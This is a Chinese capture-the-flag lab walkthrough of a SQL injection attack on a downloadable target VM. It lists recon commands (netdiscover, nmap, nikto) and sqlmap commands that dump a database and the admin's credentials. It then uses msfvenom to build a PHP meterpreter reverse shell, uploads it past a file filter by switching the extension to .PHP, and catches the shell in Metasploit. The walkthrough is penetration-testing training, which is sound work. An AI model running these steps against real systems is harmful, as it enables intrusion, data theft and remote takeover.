ctf训练 web安全SQL注入get
SQL注入漏洞介绍
sQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
SQL注入的产生原因通常表现在以下几方面:
- ①不当的类型处理;
- ②不安全的数据库配置;
- ③不合理的查询集处理;
- ④不当的错误处理;
- ⑤转义字符处理不合适;
- ⑥多个提交处理不当。
实验环境
一台kail攻击机 和 靶机
靶机镜像:https://pan.baidu.com/s/1EL48UHzkdUo049I1basrFg
提取码:hfvs
安装打开靶机(使用Oracle VM VirtualBox打开):
(注意:靶机用桥接模式则攻击机也用桥接模式,注意检查!!!!)
接下来发现没法登陆,也没有办法获取ip地址
所以我们在kail下
进入控制台
使用netdiscover命令 netdiscover -r ip/子网掩码 命令来探测靶机,靶机ip为192.168.43.93
本机ip为192.168.43.96
信息探测
扫描主机服务信息以及服务版本
– nmap -sV 靶场ip地址
快速扫描主机全部信息
– nmap -T4 -A -v 靶场ip地址
探测敏感信息
– nikto -host http://靶场ip地址:端口
深入挖掘
分析nmap 、nikto扫描结果,并对结果进行分析,挖掘可以利用的信息;
使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;
可以试一试有没有弱口令,这个地方没有弱口令的存在
漏洞扫描
web漏洞扫描器owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。
漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有sQl注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。
使用sqlmap利用sQL注入漏洞
– sqlmap -u url-dbs 查看数据库名
– sqlmap -u url -D “数据库名” --tables查看对应数据库中的数据表
– sqlmap -u url -D “数据库名” -T “表名” -columns查看对应字段
– sqlmap -u url -D“数据库名”-T“表名”-C“列名”-dump查看对应字段的值
然后这里我们得到了用户名admin和密码
接下来使用用户名和密码来进行登录操作
上传shell反弹权限
攻击机启动监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
show options
msf exploit(handler) > set lhost 攻击机P地址
msf exploit(handler) > set lport 4444
再一次show options
生成反弹shell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机P地址lport=4444 -f raw>(root/Desktop / shell.php
使用gedit在桌面上创建shellcode.php,把上面获得的shell粘贴进去
到这里上传shellcode.php文件,结果失败了
然后按照提示,修改后缀为.PHP,然后上传,发现上传成功
msf exploit(handler) > run
然后拿到靶机的shell,这台靶机下没有flag,拿到权限就结束了!!!